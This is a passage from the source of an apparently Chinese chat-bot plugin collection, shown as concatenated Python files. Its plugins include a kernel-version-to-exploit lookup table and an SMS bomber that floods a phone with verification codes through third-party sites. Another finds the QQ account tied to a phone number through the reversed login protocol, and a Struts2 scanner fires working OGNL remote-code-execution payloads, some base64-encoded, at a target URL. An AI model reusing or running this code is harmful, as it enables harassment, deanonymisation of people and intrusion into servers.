355 | '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23',
356 | '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.27', '2.6.28',
357 | '2.6.29', '2.6.30', '2.6.31', '2.6.32', '2.6.33', '2.6.34',
358 | '2.6.35', '2.6.36', '2.6.37', '2.6.38', '2.6.39', '3.0.0',
359 | '3.0.1', '3.0.2', '3.0.3', '3.0.4', '3.0.5', '3.0.6',
360 | '3.1.0', '3.2', '3.3', '3.4', '3.5', '3.6',
361 | '3.7.0', '3.7.6',
362 | ],
363 | 'cve': '2013-0268',
364 | 'mil': 'http://www.exploit-db.com/exploits/27297/',
365 | },
366 | 'timeoutpwn': {
367 | 'vuln': [
368 | '3.4', '3.5', '3.6', '3.7', '3.8', '3.8.9', '3.9', '3.10',
369 | '3.11', '3.12', '3.13', '3.4.0', '3.5.0', '3.6.0', '3.7.0',
370 | '3.8.0', '3.8.5', '3.8.6', '3.8.9', '3.9.0', '3.9.6',
371 | '3.10.0', '3.10.6', '3.11.0', '3.12.0', '3.13.0', '3.13.1'
372 | ],
373 | 'cve': '2014-0038',
374 | 'mil': 'http://www.exploit-db.com/exploits/31346/',
375 | },
376 | 'rawmodePTY': {
377 | 'vuln': [
378 | '2.6.31', '2.6.32', '2.6.33', '2.6.34', '2.6.35', '2.6.36', '2.6.37',
379 | '2.6.38', '2.6.39', '3.14', '3.15'
380 | ],
381 | 'cve': '2014-0196',
382 | 'mil': 'http://packetstormsecurity.com/files/download/126603/cve-2014-0196-md.c',
383 | },
384 | }
385 | # coding:utf-8
386 | import socket
387 | def work(msg,info):
388 | msg=msg.content.strip()
389 | if msg.startswith("linux"):
390 | if not info.get('level', 3) < 4:
391 | return False
392 | try:
393 | msg=msg.split(' ')[1]
394 | result=''
395 | for name in database:
396 | text=database[name]
397 | for version in text['vuln']:
398 | if msg == version:
399 | temp=[]
400 | Alt=text.get('alt',None)
401 | CVE=text.get('cve',None)
402 | Source=text.get('mil',None)
403 | if result:
404 | result+='\n'
405 | temp.append(name)
406 | if Alt:
407 | temp.append('Alt:' + Alt)
408 | if CVE:
409 | temp.append('CVE:' + CVE)
410 | if Source:
411 | temp.append('Source:' + Source)
412 | result += '\n'.join(temp)
413 | if result:
414 | return '可能的结果:\n'+result
415 | else:
416 | return '没有查找到对应版本'
417 | except:
418 | return help(info)
419 | else:
420 | return False
421 | def help(info):
422 | if not info.get('level',3) < 4:
423 | return False
424 | return "#linux version 根据内核版本查找exp"
425 |
--------------------------------------------------------------------------------
/plugin/parsetv.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | def work(msg,info):
3 | msg=msg.content.strip()
4 | if msg.startswith("parsetv"):
5 | if not info.get('level', 3) < 4:
6 | return False
7 | try:
8 | msg=msg.split(' ',1)[1]
9 | return 'http://api.nepian.com/ckparse/web.php?url='+msg
10 | except:
11 | return help(info)
12 | else:
13 | return False
14 | def help(info):
15 | if not info.get('level',3) < 4:
16 | return False
17 | return "#parsetv e.com 解析爱奇艺、优酷、土豆、乐视、芒果TV等"
--------------------------------------------------------------------------------
/plugin/phone.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import urllib
3 | import urllib2
4 | import cookielib
5 | import time
6 | import threading
7 |
8 |
9 | def getTime():
10 | return str(time.time()).replace('.', '') + '0'
11 |
12 |
13 | class CookieBrowser(object):
14 | # 构造方法,用来传递初值
15 | def __init__(self):
16 | self.cookie = cookielib.MozillaCookieJar()
17 | self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie))
18 | self.opener.addheaders = [
19 | ('User-Agent', 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6')]
20 |
21 | def resetCookies(self):
22 | self.cookie = cookielib.CookieJar()
23 | self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie))
24 |
25 | def readCookie(self, name):
26 | for c in self.cookie:
27 | if c.name == name:
28 | return c.value
29 | return ''
30 |
31 | def get(self, addr):
32 | return self.opener.open(addr, timeout=5).read()
33 |
34 | def post(self, url, param):
35 | postdata = ''
36 | if isinstance(param, basestring):
37 | postdata = param
38 | else:
39 | postdata = urllib.urlencode(param)
40 | return self.opener.open(url, postdata, timeout=5)
41 |
42 |
43 | def getAddress(phone):
44 | address = [('post', 'http://wap.epet.com/api.html?cp=bdphone&do=sendCode&m=user&inajax=1',
45 | 'cp=bdphone&do=sendCode&m=user&inajax=1&system=wap&version=1.0&postsubmit=r9b8s7m4&phone=' + phone),
46 | ('post', 'http://www.ds99.com/index.php/Login/regyzm', {'phone': phone}),
47 | ('post', 'http://wifi.gd118114.cn/getPassword.ajax',
48 | {'username': phone, 'accessType': '1', 'circleId': '100000055'}),
49 | ('post', 'http://app.loverscamera.com/user/tel/login/getCode.shtml', {'userPhone': phone}),
50 | ('post', 'http://m.58yiji.com/ajax/sendLoginCode.html', {'phone': phone}),
51 | ('post', 'http://m.meilijia.com/dispose.php?action=signup_mobile',
52 | 'signup_mobile=' + phone + '&refer=&request_uri=%2Fsignin%2Fmobile%3Frefer%3D&http_referer=http%3A%2F%2Fm.meilijia.com%2Fsignin%3Faccount%3D15896541256%26refer%3D&from=2&code=2cbd5ed777fc3bddc5c2c499bc6dca25'),
53 | ('post', 'http://wx.bealinks.net/app/index.php?i=9&c=entry&p=login&do=auth&m=ewei_shop',
54 | {'phone': phone}),
55 | ('post', 'http://h5.vdangkou.com/h5/order.do?method=doSendCode', {'mobilePhone': phone}),
56 | ('post', 'http://m.68mall.com/register/sms-captcha',
57 | 'mobile=' + phone + '&_csrf=UjFCZXhGTDIWBQdULzwrbWUcKyMBLwZCBWkKKSdxJ3EDQ3ozIX57Xg"%"3D"%"3D'),
58 | ('post', 'http://360.taikang.com/fcb/login/mobileIdentify',
59 | 'action=get&cidnum=210106200004145813&mobnum=' + phone + '&work=reg')]
60 | return address
61 |
62 |
63 | def doPost(url, postdata):
64 | brow = CookieBrowser()
65 | brow.opener.addheaders.append(('Referer', url))
66 | try:
67 | return brow.post(url, postdata)
68 | except Exception, e:
69 | # print e,url
70 | pass
71 |
72 |
73 | def doGet(url, param):
74 | brow = CookieBrowser()
75 | brow.opener.addheaders.append(('Referer', url))
76 | try:
77 | return brow.get(url)
78 | except Exception, e:
79 | # print e,url
80 | pass
81 |
82 |
83 | def kphone(number, lens):
84 | for method, addr, param in getAddress(number)[:lens]:
85 | if method == 'post':
86 | threading.Thread(target=doPost, args=(addr, param)).start()
87 | else:
88 | threading.Thread(target=doGet, args=(addr, param)).start()
89 |
90 | def work(msg, info):
91 | if not msg.content.startswith('kphone'):
92 | return False
93 | if info.get('level', 3) < 3:
94 | try:
95 | _, phones = msg.content.strip().split(' ', 1)
96 | count = 1
97 | if phones.count(' ') > 0:
98 | count = phones.split(' ')[1]
99 | phones = phones.split(' ')[0]
100 | count = int(count)
101 | phones = int(phones)
102 | phones = str(phones)
103 | if len(phones) == 11:
104 | try:
105 | msg.Reply('正在开始轰炸')
106 | for x in xrange(count):
107 | kphone(phones)
108 | kphone(phones)
109 | time.sleep(60)
110 | return '轰炸%s结束' % phones
111 | except Exception, e:
112 | return '轰炸出错咯。。'
113 | else:
114 | return '您的参数有误'
115 | except Exception, e:
116 | print e
117 | return help(info)
118 | else:
119 | return False
120 |
121 |
122 | def help(info):
123 | if info.get('level', 3) < 3:
124 | return '#kphone 手机号 [分钟/次] 短信轰炸机'
125 |
--------------------------------------------------------------------------------
/plugin/phone2qq.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | ''' https://github.com/zrools/phone2qq '''
5 |
6 | import socket
7 | import hashlib
8 | from random import randint
9 | from binascii import a2b_hex, b2a_hex, unhexlify
10 |
11 |
12 | def bytearrays(param):
13 | # s = unhexlify(param)
14 | # b = [ord(x) for x in s]
15 | # return b
16 | return str(bytearray.fromhex(param))
17 |
18 |
19 | import struct, ctypes
20 | from random import randint
21 |
22 | __all__ = ['encrypt', 'decrypt']
23 |
24 |
25 | def xor(a, b):
26 | a1, a2 = struct.unpack('!LL', a[0:8])
27 | b1, b2 = struct.unpack('!LL', b[0:8])
28 | r = struct.pack('!LL', a1 ^ b1, a2 ^ b2)
29 | return r
30 |
31 |
32 | def encipher(v, k):
33 | n = 16
34 | delta = 0x9e3779b9
35 | k = struct.unpack('!LLLL', k[0:16])
36 | y, z = map(ctypes.c_uint32, struct.unpack('!LL', v[0:8]))
37 | s = ctypes.c_uint32(0)
38 | for i in range(n):
39 | s.value += delta
40 | y.value += (z.value << 4) + k[0] ^ z.value + s.value ^ (z.value >> 5) + k[1]
41 | z.value += (y.value << 4) + k[2] ^ y.value + s.value ^ (y.value >> 5) + k[3]
42 | r = struct.pack('!LL', y.value, z.value)
43 | return r
44 |
45 |
46 | def encrypt(v, k):
47 | vl = len(v)
48 | filln = (6 - vl) % 8
49 | v_arr = [
50 | bytes(bytearray([filln | 0xf8])),
51 | b'\xad' * (filln + 2),
52 | v,
53 | b'\0' * 7,
54 | ]
55 | v = b''.join(v_arr)
56 | tr = b'\0' * 8
57 | to = b'\0' * 8
58 | r = []
59 | o = b'\0' * 8
60 | for i in range(0, len(v), 8):
61 | o = xor(v[i:i + 8], tr)
62 | tr = xor(encipher(o, k), to)
63 | to = o
64 | r.append(tr)
65 | r = b''.join(r)
66 | return r
67 |
68 |
69 | def decrypt(v, k):
70 | l = len(v)
71 | prePlain = decipher(v, k)
72 | # print prePlain
73 | pos = ord(bytes(prePlain[0])) & 0x07 + 2
74 | r = prePlain
75 | preCrypt = v[0:8]
76 | for i in range(8, l, 8):
77 | x = xor(decipher(xor(v[i:i + 8], prePlain), k), preCrypt)
78 | prePlain = xor(x, preCrypt)
79 | preCrypt = v[i:i + 8]
80 | r += x
81 | if r[-7:] == b'\0' * 7:
82 | return r[pos + 1:-7]
83 |
84 |
85 | def decipher(v, k):
86 | n = 16
87 | y, z = map(ctypes.c_uint32, struct.unpack('!LL', v[0:8]))
88 | a, b, c, d = map(ctypes.c_uint32, struct.unpack('!LLLL', k[0:16]))
89 | delta = 0x9E3779B9
90 | s = ctypes.c_uint32(delta << 4)
91 | for i in range(n):
92 | z.value -= ((y.value << 4) + c.value) ^ (y.value + s.value) ^ ((y.value >> 5) + d.value)
93 | y.value -= ((z.value << 4) + a.value) ^ (z.value + s.value) ^ ((z.value >> 5) + b.value)
94 | s.value -= delta
95 | return struct.pack('!LL', y.value, z.value)
96 |
97 |
98 | def md5(cstr):
99 | m = hashlib.md5()
100 | m.update(cstr.encode())
101 | return m.hexdigest().lower()
102 |
103 |
104 | class QQLogin():
105 | def __init__(self):
106 | self.num = '10000000000' # 手机号
107 | self.address = ('183.60.56.100', 8000) # 企鹅服务器
108 | self.fixedData = '0000044b0000000100001509' # 填充数据
109 | self.hdKey = '0251ca4aab66e80ae4d279921ace3c3dfee23788151f45368d'
110 | self.serverIP = ''
111 | self.serverTime = ''
112 | self.token0825 = ''
113 |
114 | def str2hex(self, mStr):
115 | text = ''
116 | for x in mStr:
117 | text += '3%s' % x
118 | return text
119 |
120 | def getSequence(self, length):
121 | text = ''
122 | for l in range(length):
123 | text += '%02x' % randint(0, 0xff)
124 | return text
125 |
126 | def login0825(self):
127 | key0825 = '7792394f1afd3bbfa9006bc807bcf23b'
128 |
129 | data = '0235550825' # head
130 | data += self.getSequence(2)
131 | data += '00000000' # QQ Hex
132 | data += '030000000101010000674200000000'
133 | data += key0825
134 |
135 | txt = '001800160001'
136 | txt += self.fixedData
137 | txt += '0000000000000000'
138 | txt += '0004000f0000000b'
139 | txt += self.str2hex(self.num)
140 | txt += '0309'
141 | txt += '0008'
142 | txt += '0001000000000004'
143 | txt += '00360012'
144 | txt += '000200010000000000000000000000000000'
145 | txt += '0114001d01020019'
146 | txt += self.hdKey
147 |
148 | data += b2a_hex(encrypt(bytearrays(txt), bytearrays(key0825))).decode()
149 | data += '03'
150 | data = a2b_hex(data)
151 |
152 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
153 | sock.sendto(data, self.address)
154 | recvPack = sock.recv(1024)
155 | sock.close()
156 |
157 | recvData = b2a_hex(decrypt(recvPack[14:-1], bytearrays(key0825))).decode()
158 |
159 | if (recvData[:2] != '00'):
160 | recvData = recvData[16:]
161 |
162 | if (recvData[:2] == '00'):
163 | self.token0825 = recvData[10:122]
164 | self.serverTime = recvData[134:142]
165 | self.serverIP = recvData[166:174]
166 | return self.login0826()
167 | else:
168 | print('0825 error!')
169 | return False
170 |
171 | def login0826(self):
172 | key0826 = '6d47535a5a573d4872772c2d36717a76'
173 | keyCode = '13d924ca5e0469d284effea87a5a5f1c'
174 |
175 | data = '02355508366848' # head
176 | data += '00000000'
177 | data += '0300000001010100006742'
178 | data += '00000000'
179 | data += '000101020019'
180 | data += self.hdKey
181 | data += '00000010'
182 | data += self.getSequence(16)
183 |
184 | txt = '01120038'
185 | txt += self.token0825
186 | txt += '030f0008000657494e444f57' # WINDOWS
187 | txt += '0004000f0000000b'
188 | txt += self.str2hex(self.num)
189 | txt += '00060078'
190 |
191 | md5p = md5('123456')
192 | # 密码加密
193 | pwd = md5p
194 | pwd += '00000000'
195 | pwd += '00000000' # QQ Hex
196 |
197 | # 密匙加密
198 | key = 'F36251810002'
199 | key += '00000000' # QQ Hex
200 | key += self.fixedData
201 | key += '000001'
202 | key += md5p
203 | key += self.serverTime
204 | key += '00000000000000000000000000'
205 | key += self.serverIP
206 | key += '000000000000000600101ba49e165fe954251eb9619f7b1bdf31'
207 | key += key0826
208 |
209 | txt += b2a_hex(encrypt(bytearrays(key), bytearrays(pwd))).decode()
210 |
211 | # region CRC
212 | txt += '001500300000'
213 | txt += '01'
214 | txt += '1c26e960'
215 | txt += '0010'
216 | txt += '028d5f75cbcf4c898ca43a3410b85788'
217 | txt += '02'
218 | txt += 'b3e8163c'
219 | txt += '0010'
220 | txt += '1ba49e165fe954251eb9619f7b1bdf31'
221 | txt += '001a'
222 | txt += '0040'
223 |
224 | mcrc = '001500300000'
225 | mcrc += '01'
226 | mcrc += '1c26e960'
227 | mcrc += '0010'
228 | mcrc += '028d5f75cbcf4c898ca43a3410b85788'
229 | mcrc += '02'
230 | mcrc += 'b3e8163c'
231 | mcrc += '0010'
232 | mcrc += '1ba49e165fe954251eb9619f7b1bdf31'
233 |
234 | txt += b2a_hex(encrypt(bytearrays(mcrc), bytearrays(key0826))).decode()
235 |
236 | txt += '001800160001'
237 | txt += self.fixedData
238 | txt += '00000000' # QQ Hex
239 | txt += '00010000010300140001'
240 | txt += '0010'
241 | txt += 'bd41fd502a59f4863ccde044bb41f728'
242 | txt += '0312000501000000'
243 | txt += '00' # 是否记住密码
244 | txt += '010200620001'
245 | txt += '1169a81f699f52de71ef65e9b42d2d8a'
246 | txt += '0038'
247 | txt += '78b94e76767efdab4dd3b2b0144063f48b57ee27aef152a28aba1f03'
248 | txt += '50f02b17a86787fe47d1b189c43c0be7a7dc8c81c40bb622c78ec85b'
249 | txt += '0014'
250 | txt += '62e172e61421fe8c850c62891efcf7f93a19b892'
251 |
252 | data += b2a_hex(encrypt(bytearrays(txt), bytearrays(keyCode))).decode()
253 | data += '03'
254 | data = a2b_hex(data)
255 |
256 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
257 | sock.sendto(data, self.address)
258 | recvPack = sock.recv(1024)
259 | sock.close()
260 |
261 | recvData = b2a_hex(decrypt(recvPack[14:-1], bytearrays(keyCode))).decode()
262 |
263 | if recvData[:2] == '06':
264 | qq = str(int(recvData[6:14], 16))
265 | else:
266 | recvData = recvData[8:]
267 | if recvData[:2].lower() == 'fc':
268 | qq = str(int(recvData[14:22], 16))
269 | else:
270 | qq = False
271 |
272 | return qq
273 |
274 | def getQQ(self, phone):
275 | self.num = phone
276 | return self.login0825()
277 |
278 |
279 | def work(msg,info):
280 | msg = msg.content.strip()
281 | if msg.upper().startswith("QQ"):
282 | if not info.get('level', 3) < 4:
283 | return False
284 | try:
285 | msg = msg.split(' ')[-1]
286 | if len(msg) != 11 or not msg.isdigit():
287 | return '手机号有误'
288 | print msg
289 | login = QQLogin()
290 | qq = login.getQQ(msg)
291 | if qq:
292 | return '手机号:' + msg + '\n解析的QQ为:' + qq
293 | else:
294 | return '手机号:' + msg + '\n解析QQ失败'
295 | except:
296 | return help(info)
297 | else:
298 | return False
299 |
300 |
301 | def help(info):
302 | if not info.get('level',3) < 4:
303 | return False
304 | return "#QQ 手机号 获取可以通过手机号登陆的QQ"
305 |
--------------------------------------------------------------------------------
/plugin/phpwind.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import re
3 | import time
4 | import urllib
5 | import urllib2
6 | import cookielib
7 | class phpwind():
8 | def __init__(self,url,username,password,jumpurl=""):
9 | self.host=url
10 | self.username=username
11 | self.password=password
12 | self.hash=re.findall("var verifyhash = '.*?';",urllib.urlopen(self.host).read())[0][18:-2]
13 | self.loginurl=self.host+"/login.php?nowtime="+self.getTime()+"&verify=%s"%self.hash
14 | self.siginurl=self.host+'/u.php'
15 | self.siginsss=(self.host+"/jobcenter.php?action=punch&verify=%s&nowtime="+self.getTime()+"&verify=%s")%(self.hash,self.hash)
16 | self.jumpurl =jumpurl
17 | if self.jumpurl=='':
18 | self.jumpurl=self.host+"/index.php"
19 | self.cookie=cookielib.CookieJar()
20 | self.opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie))
21 | def login(self):
22 | postdata = urllib.urlencode({
23 | 'ajax': '1',
24 | 'cktime': '31536000',
25 | 'jumpurl': self.jumpurl,
26 | 'lgt': '0',
27 | 'pwpwd': self.password,
28 | 'pwuser': self.username,
29 | 'step': '2'
30 | })
31 | self.opener.open(self.loginurl, postdata)
32 | result=self.opener.open(self.jumpurl)
33 | if len(re.findall("var windid = '"+self.username+"';",result.read())):
34 | # print "login secuss"
35 | return True
36 | # print "login faild"
37 | return False
38 | def getTime(self):
39 | return str(time.time()).replace('.', '') + '0'
40 | def read(self):
41 | return self.opener.open(self.host).read().decode('gbk').encode('utf-8')
42 | def issigin(self):
43 | if "每日打卡" in self.opener.open(self.siginurl).read().decode('gbk').encode('utf-8'):
44 | return False
45 | return True
46 | def sigin(self):
47 | postdata = urllib.urlencode({
48 | 'step': '2'
49 | })
50 | if "你已经打卡,请明天再试" in self.opener.open(self.siginsss, postdata).read().decode("gbk").encode("utf-8"):
51 | return True
52 | return False
53 | def getinfo(self):
54 | ret=''
55 | ret+='====================================='
56 | ret+='\n站点名称: %s'%re.findall(".*?",self.opener.open(self.host).read().decode("gbk").encode("utf-8"))[0][7:-8]
57 | ret+='\n用户: %s %s'%(self.username,"已经签到" if self.issigin() else "并没有签到" )
58 | for x in re.findall(".{1,8}:.{1,16}",self.opener.open(self.host).read().decode("gbk").encode("utf-8")):
59 | ret+='\n'+x[4:-5]
60 | ret+='\n====================================='
61 | return ret
62 |
63 |
64 | # '''http://bbs.mydigit.cn/jobcenter.php?action=punch&verify=1849a44a&nowtime=1475251499535&verify=1849a44a'''
65 |
66 | def work(msg,info):
67 | if not msg.content.startswith("phpwind"):
68 | return False
69 | if not info.get('level',3) < 4:
70 | return False
71 | msg=msg.content.split(' ')
72 | a = phpwind("http://"+msg[1], msg[2], msg[3])
73 | if a.login():
74 | return a.getinfo()
75 | else:
76 | return help(info)
77 |
78 | def help(info):
79 | if not info.get('level',3) < 4:
80 | return False
81 | return "#phpwind example.com 账号 密码 phpwind登陆打卡"
--------------------------------------------------------------------------------
/plugin/ping.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import socket
3 | def work(msg,info):
4 | msg=msg.content.strip()
5 | if msg.startswith("pings"):
6 | if not info.get('level', 3) < 4:
7 | return False
8 | try:
9 | msg=msg.split(' ')[-1]
10 | addr=socket.gethostbyname(msg)
11 | return '地址:'+msg+'\n解析的IP为:'+addr
12 | except:
13 | return help(info)
14 | else:
15 | return False
16 | def help(info):
17 | if not info.get('level',3) < 4:
18 | return False
19 | return "#pings e.com 说出来你可能不信,ping是禁词"
--------------------------------------------------------------------------------
/plugin/struts.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # coding=utf-8
3 |
4 | import sys
5 | import base64
6 | import warnings
7 | import requests
8 | import threading
9 |
10 | warnings.filterwarnings("ignore")
11 | reload(sys)
12 | sys.setdefaultencoding('utf-8')
13 |
14 | headers = {
15 | "Accept": "application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*",
16 | "User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
17 | "Content-Type": "application/x-www-form-urlencoded"
18 | }
19 | headers2 = {
20 |
21 | }
22 |
23 |
24 |
25 | class struts_baseverify:
26 | def __init__(self, url,msg):
27 | self.url = url
28 | self.msg = msg
29 | self.poc = {
30 | "ST2-005": base64.b64decode(
31 | "KCdcNDNfbWVtYmVyQWNjZXNzLmFsbG93U3RhdGljTWV0aG9kQWNjZXNzJykoYSk9dHJ1ZSYoYikoKCdcNDNjb250ZXh0W1wneHdvcmsuTWV0aG9kQWNjZXNzb3IuZGVueU1ldGhvZEV4ZWN1dGlvblwnXVw3NWZhbHNlJykoYikpJignXDQzYycpKCgnXDQzX21lbWJlckFjY2Vzcy5leGNsdWRlUHJvcGVydGllc1w3NUBqYXZhLnV0aWwuQ29sbGVjdGlvbnNARU1QVFlfU0VUJykoYykpJihnKSgoJ1w0M215Y21kXDc1XCduZXRzdGF0IC1hblwnJykoZCkpJihoKSgoJ1w0M215cmV0XDc1QGphdmEubGFuZy5SdW50aW1lQGdldFJ1bnRpbWUoKS5leGVjKFw0M215Y21kKScpKGQpKSYoaSkoKCdcNDNteWRhdFw3NW5ld1w0MGphdmEuaW8uRGF0YUlucHV0U3RyZWFtKFw0M215cmV0LmdldElucHV0U3RyZWFtKCkpJykoZCkpJihqKSgoJ1w0M215cmVzXDc1bmV3XDQwYnl0ZVs1MTAyMF0nKShkKSkmKGspKCgnXDQzbXlkYXQucmVhZEZ1bGx5KFw0M215cmVzKScpKGQpKSYobCkoKCdcNDNteXN0clw3NW5ld1w0MGphdmEubGFuZy5TdHJpbmcoXDQzbXlyZXMpJykoZCkpJihtKSgoJ1w0M215b3V0XDc1QG9yZy5hcGFjaGUuc3RydXRzMi5TZXJ2bGV0QWN0aW9uQ29udGV4dEBnZXRSZXNwb25zZSgpJykoZCkpJihuKSgoJ1w0M215b3V0LmdldFdyaXRlcigpLnByaW50bG4oXDQzbXlzdHIpJykoZCkp"),
32 | "ST2-009": '''class.classLoader.jarPath=%28%23context["xwork.MethodAccessor.denyMethodExecution"]%3d+new+java.lang.Boolean%28false%29%2c+%23_memberAccess["allowStaticMethodAccess"]%3dtrue%2c+%23a%3d%40java.lang.Runtime%40getRuntime%28%29.exec%28%27netstat -an%27%29.getInputStream%28%29%2c%23b%3dnew+java.io.InputStreamReader%28%23a%29%2c%23c%3dnew+java.io.BufferedReader%28%23b%29%2c%23d%3dnew+char[50000]%2c%23c.read%28%23d%29%2c%23sbtest%3d%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2c%23sbtest.println%28%23d%29%2c%23sbtest.close%28%29%29%28meh%29&z[%28class.classLoader.jarPath%29%28%27meh%27%29]''',
33 | "ST2-013": base64.b64decode(
34 | "YT0xJHsoJTIzX21lbWJlckFjY2Vzc1siYWxsb3dTdGF0aWNNZXRob2RBY2Nlc3MiXT10cnVlLCUyM2E9QGphdmEubGFuZy5SdW50aW1lQGdldFJ1bnRpbWUoKS5leGVjKCduZXRzdGF0IC1hbicpLmdldElucHV0U3RyZWFtKCksJTIzYj1uZXcramF2YS5pby5JbnB1dFN0cmVhbVJlYWRlciglMjNhKSwlMjNjPW5ldytqYXZhLmlvLkJ1ZmZlcmVkUmVhZGVyKCUyM2IpLCUyM2Q9bmV3K2NoYXJbNTAwMDBdLCUyM2MucmVhZCglMjNkKSwlMjNzYnRlc3Q9QG9yZy5hcGFjaGUuc3RydXRzMi5TZXJ2bGV0QWN0aW9uQ29udGV4dEBnZXRSZXNwb25zZSgpLmdldFdyaXRlcigpLCUyM3NidGVzdC5wcmludGxuKCUyM2QpLCUyM3NidGVzdC5jbG9zZSgpKX0="),
35 | "ST2-016": '''redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'netstat','-an'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}''',
36 | "ST2-019": base64.b64decode(
37 | "ZGVidWc9Y29tbWFuZCZleHByZXNzaW9uPSNmPSNfbWVtYmVyQWNjZXNzLmdldENsYXNzKCkuZ2V0RGVjbGFyZWRGaWVsZCgnYWxsb3dTdGF0aWNNZXRob2RBY2Nlc3MnKSwjZi5zZXRBY2Nlc3NpYmxlKHRydWUpLCNmLnNldCgjX21lbWJlckFjY2Vzcyx0cnVlKSwjcmVxPUBvcmcuYXBhY2hlLnN0cnV0czIuU2VydmxldEFjdGlvbkNvbnRleHRAZ2V0UmVxdWVzdCgpLCNyZXNwPUBvcmcuYXBhY2hlLnN0cnV0czIuU2VydmxldEFjdGlvbkNvbnRleHRAZ2V0UmVzcG9uc2UoKS5nZXRXcml0ZXIoKSwjYT0obmV3IGphdmEubGFuZy5Qcm9jZXNzQnVpbGRlcihuZXcgamF2YS5sYW5nLlN0cmluZ1tdeyduZXRzdGF0JywnLWFuJ30pKS5zdGFydCgpLCNiPSNhLmdldElucHV0U3RyZWFtKCksI2M9bmV3IGphdmEuaW8uSW5wdXRTdHJlYW1SZWFkZXIoI2IpLCNkPW5ldyBqYXZhLmlvLkJ1ZmZlcmVkUmVhZGVyKCNjKSwjZT1uZXcgY2hhclsxMDAwMF0sI2QucmVhZCgjZSksI3Jlc3AucHJpbnRsbigjZSksI3Jlc3AuY2xvc2UoKQ=="),
38 | "ST2-devmode": '''?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=netstat%20-an''',
39 | "ST2-032": '''?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=netstat -an&pp=____A&ppp=%20&encoding=UTF-8''',
40 | "ST2-037": '''/(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=netstat -an'''
41 | }
42 |
43 | def check(self, pocname, vulnstr):
44 | if vulnstr.find("Active Internet connections") is not -1:
45 | self.msg.Reply("目标存在" + pocname + "漏洞..[Linux]")
46 | elif vulnstr.find("Active Connections") is not -1:
47 | self.msg.Reply("目标存在" + pocname + "漏洞..[Windows]")
48 | elif vulnstr.find("活动连接") is not -1:
49 | self.msg.Reply("目标存在" + pocname + "漏洞..[Windows]")
50 | elif vulnstr.find("LISTEN") is not -1:
51 | self.msg.Reply("目标存在" + pocname + "漏洞..[未知OS]")
52 | else:
53 | self.msg.Reply("目标不存在" + pocname + "漏洞..")
54 |
55 | def scan(self):
56 | self.msg.Reply("-------检测struts2漏洞--------\n目标url:" + self.url)
57 | try:
58 | req = requests.post(self.url, headers=headers, data=self.poc['ST2-005'], timeout=6, verify=False)
59 | self.check("struts2-005", req.text)
60 | except:
61 | self.msg.Reply("检测struts2-005超时..")
62 | try:
63 | req = requests.post(self.url, headers=headers, data=self.poc['ST2-009'], timeout=6, verify=False)
64 | self.check("struts2-009", req.text)
65 | except:
66 | self.msg.Reply("检测struts2-009超时..")
67 | try:
68 | req = requests.post(self.url, headers=headers, data=self.poc['ST2-013'], timeout=6, verify=False)
69 | self.check("struts2-013", req.text)
70 | except:
71 | self.msg.Reply("检测struts2-013超时..")
72 | try:
73 | req = requests.post(self.url, headers=headers, data=self.poc['ST2-016'], timeout=6, verify=False)
74 | self.check("struts2-016", req.text)
75 | except:
76 | self.msg.Reply("检测struts2-016超时..")
77 | try:
78 | req = requests.post(self.url, headers=headers, data=self.poc['ST2-019'], timeout=6, verify=False)
79 | self.check("struts2-019", req.text)
80 | except:
81 | self.msg.Reply("检测struts2-019超时..")
82 | try:
83 | req = requests.get(self.url + self.poc['ST2-devmode'], headers=headers, timeout=6, verify=False)
84 | self.check("struts2-devmode", req.text)
85 | except:
